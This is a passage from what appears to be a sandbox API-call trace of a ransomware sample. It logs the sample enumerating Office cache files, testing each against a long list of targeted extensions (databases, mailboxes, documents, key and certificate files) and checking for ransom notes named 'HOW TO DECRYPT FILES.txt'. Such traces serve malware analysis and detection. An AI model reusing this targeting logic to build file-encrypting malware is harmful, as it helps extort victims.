(pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.ods") returned 0 [0057.801] lstrlenA (lpString="*.ods") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.wav") returned 0 [0057.801] lstrlenA (lpString="*.wav") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.mp3") returned 0 [0057.801] lstrlenA (lpString="*.mp3") returned 5 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.aiff") returned 0 [0057.801] lstrlenA (lpString="*.aiff") returned 6 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.flac") returned 0 [0057.801] lstrlenA (lpString="*.flac") returned 6 [0057.801] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.m4a") returned 0 [0057.801] lstrlenA (lpString="*.m4a") returned 5 [0057.802] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", pszSpec="*.csv") returned 0 [0057.802] lstrlenA (lpString="*.csv") returned 5 [0057.802] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x780074, dwReserved1=0x74, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0057.802] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dwdcw20.dll") returned 1 [0057.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dwdcw20.dll") returned 1 [0057.802] lstrcmpiA (lpString1="", lpString2="dwdcw20.dll") returned -1 [0057.802] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned="DW20.EXE" [0057.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.802] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.802] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.802] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.802] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="dwdcw20.dll" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" [0057.802] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.ems") returned 0 [0057.802] lstrlenA (lpString="*.ems") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.db") returned 0 [0057.803] lstrlenA (lpString="*.db") returned 4 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.dbf") returned 0 [0057.803] lstrlenA (lpString="*.dbf") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.myox") returned 0 [0057.803] lstrlenA (lpString="*.myox") returned 6 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.myo") returned 0 [0057.803] lstrlenA (lpString="*.myo") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbw") returned 0 [0057.803] lstrlenA (lpString="*.qbw") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbb") returned 0 [0057.803] lstrlenA (lpString="*.qbb") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbm") returned 0 [0057.803] lstrlenA (lpString="*.qbm") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbo") returned 0 [0057.803] lstrlenA (lpString="*.qbo") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbx") returned 0 [0057.803] lstrlenA (lpString="*.qbx") returned 5 [0057.803] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qba") returned 0 [0057.804] lstrlenA (lpString="*.qba") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qby") returned 0 [0057.804] lstrlenA (lpString="*.qby") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qbj") returned 0 [0057.804] lstrlenA (lpString="*.qbj") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.ofx") returned 0 [0057.804] lstrlenA (lpString="*.ofx") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.qif") returned 0 [0057.804] lstrlenA (lpString="*.qif") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.mye") returned 0 [0057.804] lstrlenA (lpString="*.mye") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.mbox") returned 0 [0057.804] lstrlenA (lpString="*.mbox") returned 6 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.eml") returned 0 [0057.804] lstrlenA (lpString="*.eml") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.pst") returned 0 [0057.804] lstrlenA (lpString="*.pst") returned 5 [0057.804] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.ost") returned 0 [0057.804] lstrlenA (lpString="*.ost") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.idx") returned 0 [0057.805] lstrlenA (lpString="*.idx") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.dbx") returned 0 [0057.805] lstrlenA (lpString="*.dbx") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.sql") returned 0 [0057.805] lstrlenA (lpString="*.sql") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.mdb") returned 0 [0057.805] lstrlenA (lpString="*.mdb") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.fdb") returned 0 [0057.805] lstrlenA (lpString="*.fdb") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.wab") returned 0 [0057.805] lstrlenA (lpString="*.wab") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.dat") returned 0 [0057.805] lstrlenA (lpString="*.dat") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.txt") returned 0 [0057.805] lstrlenA (lpString="*.txt") returned 5 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.jpeg") returned 0 [0057.805] lstrlenA (lpString="*.jpeg") returned 6 [0057.805] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.jpg") returned 0 [0057.806] lstrlenA (lpString="*.jpg") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.png") returned 0 [0057.806] lstrlenA (lpString="*.png") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.php") returned 0 [0057.806] lstrlenA (lpString="*.php") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.cs") returned 0 [0057.806] lstrlenA (lpString="*.cs") returned 4 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.cpp") returned 0 [0057.806] lstrlenA (lpString="*.cpp") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.rar") returned 0 [0057.806] lstrlenA (lpString="*.rar") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.zip") returned 0 [0057.806] lstrlenA (lpString="*.zip") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.html") returned 0 [0057.806] lstrlenA (lpString="*.html") returned 6 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.htm") returned 0 [0057.806] lstrlenA (lpString="*.htm") returned 5 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.xlsx") returned 0 [0057.806] lstrlenA (lpString="*.xlsx") returned 6 [0057.806] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.xls") returned 0 [0057.807] lstrlenA (lpString="*.xls") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.mp4") returned 0 [0057.807] lstrlenA (lpString="*.mp4") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.ppt") returned 0 [0057.807] lstrlenA (lpString="*.ppt") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.pptx") returned 0 [0057.807] lstrlenA (lpString="*.pptx") returned 6 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.doc") returned 0 [0057.807] lstrlenA (lpString="*.doc") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.dot") returned 0 [0057.807] lstrlenA (lpString="*.dot") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.docx") returned 0 [0057.807] lstrlenA (lpString="*.docx") returned 6 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.7z") returned 0 [0057.807] lstrlenA (lpString="*.7z") returned 4 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.tar") returned 0 [0057.807] lstrlenA (lpString="*.tar") returned 5 [0057.807] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.bz2") returned 0 [0057.807] lstrlenA (lpString="*.bz2") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.gz") returned 0 [0057.808] lstrlenA (lpString="*.gz") returned 4 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.mkv") returned 0 [0057.808] lstrlenA (lpString="*.mkv") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.eml") returned 0 [0057.808] lstrlenA (lpString="*.eml") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.msg") returned 0 [0057.808] lstrlenA (lpString="*.msg") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.edb") returned 0 [0057.808] lstrlenA (lpString="*.edb") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.accdb") returned 0 [0057.808] lstrlenA (lpString="*.accdb") returned 7 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.odb") returned 0 [0057.808] lstrlenA (lpString="*.odb") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.java") returned 0 [0057.808] lstrlenA (lpString="*.java") returned 6 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.asm") returned 0 [0057.808] lstrlenA (lpString="*.asm") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.pfx") returned 0 [0057.808] lstrlenA (lpString="*.pfx") returned 5 [0057.808] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.pem") returned 0 [0057.808] lstrlenA (lpString="*.pem") returned 5 [0057.809] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.p12") returned 0 [0057.809] lstrlenA (lpString="*.p12") returned 5 [0057.809] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.gpg") returned 0 [0057.809] lstrlenA (lpString="*.gpg") returned 5 [0057.809] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", pszSpec="*.vsd") returned 0 [0057.809] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x780074, dwReserved1=0x74, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0057.809] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.811] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dwtrig20.exe") returned 1 [0057.811] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dwtrig20.exe") returned 1 [0057.811] lstrcmpiA (lpString1="", lpString2="dwtrig20.exe") returned -1 [0057.811] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned="dwdcw20.dll" [0057.811] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.811] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.811] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.811] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.811] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="dwtrig20.exe" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" [0057.811] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0057.811] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.812] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VC90.CRT.manifest") returned -1 [0057.812] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VC90.CRT.manifest") returned -1 [0057.812] lstrcmpiA (lpString1="", lpString2="Microsoft.VC90.CRT.manifest") returned -1 [0057.812] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned="dwtrig20.exe" [0057.812] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.812] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.812] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.812] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.812] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="Microsoft.VC90.CRT.manifest" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" [0057.812] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x780074, dwReserved1=0x74, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0057.812] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.812] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msvcr90.dll") returned -1 [0057.812] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msvcr90.dll") returned -1 [0057.812] lstrcmpiA (lpString1="", lpString2="msvcr90.dll") returned -1 [0057.812] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned="Microsoft.VC90.CRT.manifest" [0057.812] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0057.812] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="" [0057.812] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.813] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.813] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="msvcr90.dll" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" [0057.813] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0057.813] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.813] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeLR.cab") returned -1 [0057.813] lstrcmpiA (lpString1="HOW TO 